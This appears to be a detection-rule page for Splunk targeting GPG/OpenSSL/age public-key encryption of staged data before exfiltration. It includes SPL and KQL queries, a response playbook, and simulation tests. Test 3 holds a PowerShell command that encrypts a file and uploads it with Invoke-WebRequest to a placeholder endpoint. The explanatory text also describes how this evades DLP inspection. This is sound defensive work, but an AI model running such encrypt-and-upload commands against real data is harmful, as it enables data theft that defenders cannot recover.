THREAT-Exfiltration-GPGAsymmetricArchiveExfil Splunk · SPL

Detect Asymmetric Public-Key Encrypted Archive Exfiltration (GPG/OpenSSL/age) in Splunk

Rather than relying on a shared secret or a symmetric session key that could be recovered from memory forensics or a network capture, some adversaries and malicious insiders encrypt staged data with an attacker-controlled public key before it ever leaves the host. Tooling observed for this includes GPG/GPG2 invoked with `--recipient`/`-r` against a hardcoded or embedded public key (as opposed to `--symmetric`/`-c`, which uses a shared passphrase), `openssl smime -encrypt` against a recipient certificate, and the modern `age` utility invoked with `-r`/`--recipient` rather than `-p`/`--passphrase`. Because only the holder of the corresponding private key can ever decrypt the resulting `.gpg`/`.pgp`/`.p7m`/`.age` file, this defeats DLP content inspection and gives defenders no way to recover the plaintext even with full access to the transfer, unlike a password-protected archive whose passphrase might be brute-forced or recovered from the intruder's session. The encrypted archive is then moved off-host over a generic channel — a `curl`/`Invoke-WebRequest` upload to a file-sharing, paste, or webhook endpoint, or a drop into cloud storage — that is deliberately decoupled from any tasking/C2 channel already in use, so the exfiltration blends in with ordinary outbound HTTPS traffic. This pattern shows up both in insider IP theft (an employee quietly PGP-encrypting a document set to their personal key before uploading it) and in ransomware-affiliate double-extortion tooling that stages and asymmetrically encrypts a batch of high-value files immediately before the encryptor payload runs.

MITRE ATT&CK

Tactic
Exfiltration

SPL Detection Query

Splunk (SPL)
spl 
(index=wineventlog sourcetype="XmlWinEventLog:Microsoft-Windows-Sysmon/Operational" EventCode=1
  (Image="*\\gpg.exe" OR Image="*\\gpg2.exe" OR Image="*\\openssl.exe" OR Image="*\\age.exe")
  (CommandLine="*--recipient*" OR CommandLine="*-r *" OR CommandLine="*smime*")
  NOT (CommandLine="*--symmetric*" OR CommandLine="*--passphrase*" OR CommandLine="*-c *"))
| eval Signal="AsymmetricEncryptionInvoked", RiskScore=55
| table _time host User Image CommandLine Signal RiskScore
| append
    [ search index=wineventlog sourcetype="XmlWinEventLog:Microsoft-Windows-Sysmon/Operational" EventCode=11
      (TargetFilename="*.gpg" OR TargetFilename="*.pgp" OR TargetFilename="*.asc" OR TargetFilename="*.p7m" OR TargetFilename="*.age")
      | stats dc(TargetFilename) AS DistinctFiles BY host, User, Image, _time span=15m
      | where DistinctFiles>=5
      | eval Signal="BulkAsymmetricStaging", RiskScore=70
      | table _time host User Image DistinctFiles Signal RiskScore ]
| append
    [ search index=wineventlog sourcetype="XmlWinEventLog:Microsoft-Windows-Sysmon/Operational" EventCode=3 DestinationPort IN (443,80,21)
      | stats count AS ConnectionCount BY host, User, Image, DestinationIp, DestinationPort, _time span=10m
      | eval Signal="PostEncryptionUpload", RiskScore=85
      | table _time host User Image DestinationIp DestinationPort ConnectionCount Signal RiskScore ]
| sort - RiskScore - _time
high severity medium confidence

SPL detection combining Sysmon process creation (EventCode=1) for gpg/openssl/age invoked with a public-key recipient flag rather than a symmetric passphrase flag, Sysmon file creation (EventCode=11) for bulk staging of asymmetrically-encrypted output artifacts within a 15-minute window, and Sysmon network connection (EventCode=3) for outbound HTTP(S)/FTP connections that follow the encrypted artifact being written.

Data Sources

Sysmon via Windows Event Log

Required Sourcetypes

XmlWinEventLog:Microsoft-Windows-Sysmon/Operational

False Positives & Tuning

  • Release/build automation invoking gpg or openssl smime against a known partner public key on a schedule
  • Backup agents encrypting export files with gpg before an outbound transfer to an approved offsite target
  • Scheduled compliance jobs that gpg-encrypt log exports before archival to cold storage

Other platforms for THREAT-Exfiltration-GPGAsymmetricArchiveExfil

Microsoft Sentinel (KQL) Elastic Security (Elastic) IBM QRadar (QRadar) Sumo Logic CSE (Sumo) Google Chronicle (YARA-L) CrowdStrike LogScale (LogScale) All platforms (combined) →

Testing Methodology

Validate this detection against 3 adversary techniques from Atomic Red Team. Each test below lists the behaviour to exercise and the telemetry you should expect to see. Executable commands and cleanup steps are available with Pro.

  1. Test 1Simulate GPG Public-Key Encryption of Staged Files

    Expected signal: Sysmon Event ID 1 for gpg.exe launched with --recipient and --encrypt in the command line; Sysmon Event ID 11 for the resulting .gpg output files.

  2. Test 2Simulate Bulk Asymmetric Staging

    Expected signal: Sysmon Event ID 11 showing six .gpg files created by the same process within a 15-minute window.

  3. Test 3Simulate Post-Encryption Upload of an Asymmetrically-Encrypted Archive

    Expected signal: Sysmon Event ID 11 for the .gpg file creation followed within minutes by Sysmon Event ID 3 showing an outbound HTTPS connection to the test endpoint from powershell.exe.

Last updated: 2026-07-20 Research depth: deep
References (3)

Response Playbook

Triage

  1. Identify the recipient key ID or certificate referenced by the `--recipient`/`-r` (gpg, age) or the SMIME recipient certificate (openssl) argument. Check whether it corresponds to a known internal signing/encryption key or partner key — an unrecognized key ID is a strong indicator this is not a sanctioned workflow.
  2. Confirm the invocation used a public-key flag (`--recipient`/`-r`) rather than a symmetric passphrase flag (`--symmetric`/`-c`/`--passphrase`); asymmetric encryption to an unknown recipient is materially higher risk because defenders cannot recover the plaintext even with full host and network access.
  3. Review DeviceFileEvents (or Sysmon Event ID 11) for the same host/process in the preceding 30 minutes to identify what source files were staged and later matched by the resulting .gpg/.pgp/.p7m/.age output — this scopes what data was likely taken.
  4. Check for an outbound network connection from the same host within minutes of the encrypted artifact being created; a connection to an external IP/host that is not a known corporate egress path or approved SaaS destination should be treated as the exfiltration transfer itself, not reconnaissance.
  5. If five or more distinct encrypted artifacts were staged by the same process in a short window, treat this as bulk collection rather than a one-off encryption of a single file, and expand the timeline to look for the source-file enumeration/collection phase that preceded it.

Containment

  1. Isolate the host via EDR and preserve the encrypted output artifact(s) before an attacker or insider can delete them — you will not be able to recover the plaintext later, so the artifact and its metadata (creation time, size, recipient key ID) are the primary evidence of scope.
  2. Block the destination IP/host observed in the post-encryption upload at the perimeter proxy/firewall to stop any additional archives from a multi-stage transfer.
  3. Suspend the associated user account or service account pending investigation if the encryption was not tied to a recognized automated workflow, since this pattern is commonly insider-driven.
  4. Do not attempt to intercept or force-decrypt the artifact — without the attacker's private key this is not possible; focus containment on stopping further staging and transfer rather than on data recovery.

Evidence Collection

  1. The encrypted output file(s) themselves, plus file metadata (path, size, creation timestamp, and the recipient key ID/certificate referenced at encryption time) for scope and attribution
  2. Full process command line and parent process chain for the gpg/openssl/age invocation, to determine whether it was launched manually, via script, or by a scheduled task/RMM tool
  3. The list of source files touched immediately prior to encryption (DeviceFileEvents/Sysmon Event ID 11) to determine what data categories were staged
  4. Network connection logs (destination IP/host, port, bytes sent, timing relative to the encryption event) to identify the exfiltration destination
  5. If available, the local GPG keyring (`gpg --list-keys`) or certificate store to identify whether the recipient key/certificate is known-internal or externally supplied

Escalation Criteria

  • !The recipient key/certificate cannot be attributed to a known internal, partner, or vendor identity — treat as likely unauthorized data theft and escalate to an active incident
  • !Bulk staging (5+ distinct encrypted artifacts) combined with an outbound connection to an unrecognized destination within minutes of encryption — escalate as an in-progress, high-confidence exfiltration
  • !The activity occurs on a host associated with a departing employee, a resignation notice, or a role change — escalate to HR/legal as a probable insider data-theft case regardless of network confirmation
  • !Source files staged prior to encryption include regulated data categories (customer PII, financial records, credentials/secrets) — trigger legal/DPO breach-notification review immediately

Investigation Guide

Related Techniques

T1048 — Exfiltration Over Alternative Protocol (parent technique)T1048.001 — Exfiltration Over Symmetric Encrypted Non-C2 Protocol (sibling variant using a shared/session key rather than a recipient public key)T1560 — Archive Collected Data (the staging/compression step that frequently precedes the asymmetric encryption step)T1567.002 — Exfiltration to Cloud Storage (an alternative destination for the encrypted artifact besides a generic HTTPS/webhook upload)T1005 — Data from Local System (the collection phase that produces the files subsequently encrypted)

Forensic Artifacts

  • >Encrypted output file(s) on disk with a .gpg/.pgp/.asc/.p7m/.age extension and their creation timestamps
  • >Windows Prefetch entry for gpg.exe/gpg2.exe/openssl.exe/age.exe showing first execution time and referenced file paths
  • >Sysmon Event ID 1 process creation log capturing the full command line, including the recipient key ID or certificate reference
  • >Local GPG keyring files (pubring.kbx, trustdb.gpg) or certificate store entries showing the imported recipient public key/certificate
  • >Sysmon Event ID 3 network connection log showing the destination IP/port of the outbound transfer immediately following the encryption event

Tuning Guidance

AsymmetricEncryptionInvoked (Signal 1) alone is not actionable in most environments — legitimate release engineering, backup, and compliance workflows routinely use gpg/openssl with a recipient key, so this signal should be correlated with EncryptedOutputFileCreated and, ideally, PostEncryptionUpload before paging on-call. Build an allowlist of known recipient key IDs/certificates and the service accounts authorized to use them; anything outside that allowlist should be treated as materially higher risk. BulkAsymmetricStaging (5+ distinct artifacts in 15 minutes) is a strong pre-exfil indicator on endpoints that do not run scheduled backup/archival jobs and should be tuned per-host-role. PostEncryptionUpload is the highest-confidence signal — a network connection to a public host within 10 minutes of an asymmetrically-encrypted artifact being written is rarely benign outside of a known automated release/backup pipeline, and the destination should be checked against an allowlist of approved corporate egress and SaaS endpoints rather than raising the time window.

Hunting Queries

Baseline hunt across the last 30 days for any public-key (asymmetric) invocation of gpg/gpg2/openssl/age, independent of any subsequent network signal — useful for building an allowlist of recognized recipient keys and automated workflows before tuning the primary detection's thresholds.

Hunting — KQL
kql 
DeviceProcessEvents
| where Timestamp > ago(30d)
| where FileName in~ ("gpg.exe", "gpg2.exe", "openssl.exe", "age.exe")
| where ProcessCommandLine has_any ("--recipient", "-r ", "smime")
| where not(ProcessCommandLine has_any ("--symmetric", "--passphrase", "-c "))
| summarize FirstSeen = min(Timestamp), Hosts = make_set(DeviceName), Count = count() by FileName, InitiatingProcessAccountName
| sort by FirstSeen asc
Hunting — SPL
spl 
index=wineventlog sourcetype="XmlWinEventLog:Microsoft-Windows-Sysmon/Operational" EventCode=1
  (Image="*\\gpg.exe" OR Image="*\\gpg2.exe" OR Image="*\\openssl.exe" OR Image="*\\age.exe")
  (CommandLine="*--recipient*" OR CommandLine="*-r *" OR CommandLine="*smime*")
  NOT (CommandLine="*--symmetric*" OR CommandLine="*--passphrase*" OR CommandLine="*-c *")
| stats earliest(_time) AS FirstSeen, values(host) AS Hosts, count BY Image, User
| sort FirstSeen

Atomic Red Team Tests

Test 1 Simulate GPG Public-Key Encryption of Staged Files
windows

Generates a disposable local GPG keypair, then encrypts a set of dummy staged files to that key's recipient ID using --recipient, simulating an adversary or insider asymmetrically encrypting collected data with an attacker-controlled public key. Uses only a locally-generated test key and non-sensitive dummy data.

Command

powershell 
gpg --batch --passphrase '' --quick-generate-key [email protected] default default; 1..3 | ForEach-Object { "dummy staged content $_" | Out-File "C:\Temp\staged_$_.docx" }; Get-ChildItem C:\Temp\staged_*.docx | ForEach-Object { gpg --yes --trust-model always --recipient [email protected] --encrypt $_.FullName }

Cleanup

powershell 
Remove-Item C:\Temp\staged_*.docx, C:\Temp\staged_*.docx.gpg -Force -ErrorAction SilentlyContinue; gpg --batch --yes --delete-secret-and-public-key [email protected]

Expected Telemetry

Sysmon Event ID 1 for gpg.exe launched with --recipient and --encrypt in the command line; Sysmon Event ID 11 for the resulting .gpg output files.

Expected Detection

AsymmetricEncryptionInvoked (RiskScore=55) fires on the gpg process launch, and EncryptedOutputFileCreated (RiskScore=40) fires on each .gpg artifact written.

Test 2 Simulate Bulk Asymmetric Staging
windows

Encrypts six dummy files to a test recipient key within a short window to simulate bulk pre-exfiltration staging of asymmetrically-encrypted archives, distinct from a single one-off encryption event.

Command

powershell 
gpg --batch --passphrase '' --quick-generate-key [email protected] default default; 1..6 | ForEach-Object { "dummy content $_" | Out-File "C:\Temp\bulk_$_.xlsx"; gpg --yes --trust-model always --recipient [email protected] --encrypt "C:\Temp\bulk_$_.xlsx" }

Cleanup

powershell 
Remove-Item C:\Temp\bulk_*.xlsx, C:\Temp\bulk_*.xlsx.gpg -Force -ErrorAction SilentlyContinue; gpg --batch --yes --delete-secret-and-public-key [email protected]

Expected Telemetry

Sysmon Event ID 11 showing six .gpg files created by the same process within a 15-minute window.

Expected Detection

BulkAsymmetricStaging (RiskScore=70) fires once the count of distinct encrypted artifacts from the same process reaches the 5-file/15-minute threshold.

Test 3 Simulate Post-Encryption Upload of an Asymmetrically-Encrypted Archive
windows

Encrypts a dummy file to a test recipient key and then immediately uploads the resulting .gpg artifact to a test HTTPS endpoint, simulating the off-host transfer step that follows asymmetric encryption. Use a non-production, sandboxed listener as the destination.

Command

powershell 
gpg --batch --passphrase '' --quick-generate-key [email protected] default default; "dummy content" | Out-File C:\Temp\upload_test.pdf; gpg --yes --trust-model always --recipient [email protected] --encrypt C:\Temp\upload_test.pdf; Invoke-WebRequest -Uri https://<TEST_ENDPOINT>/upload -Method Post -InFile C:\Temp\upload_test.pdf.gpg -UseBasicParsing

Cleanup

powershell 
Remove-Item C:\Temp\upload_test.pdf, C:\Temp\upload_test.pdf.gpg -Force -ErrorAction SilentlyContinue; gpg --batch --yes --delete-secret-and-public-key [email protected]

Expected Telemetry

Sysmon Event ID 11 for the .gpg file creation followed within minutes by Sysmon Event ID 3 showing an outbound HTTPS connection to the test endpoint from powershell.exe.

Expected Detection

PostEncryptionUpload (RiskScore=85) fires once the outbound connection to the test endpoint is observed within 10 minutes of the .gpg artifact being written.

Related Detections

Tactic Hub

TA0010Exfiltration

Detection Variants (3)

Different telemetry and tradecraft for the same technique — pick the one that matches the data you collect.

Parent Technique

T1048.002Exfiltration Over Asymmetric Encrypted Non-C2 Protocol

Related Techniques

T1048Exfiltration Over Alternative ProtocolT1048.001Exfiltration Over Symmetric Encrypted Non-C2 ProtocolT1560Archive Collected DataT1567.002Exfiltration to Cloud StorageT1005Data from Local System

Same Tactic: Exfiltration

Popular Detections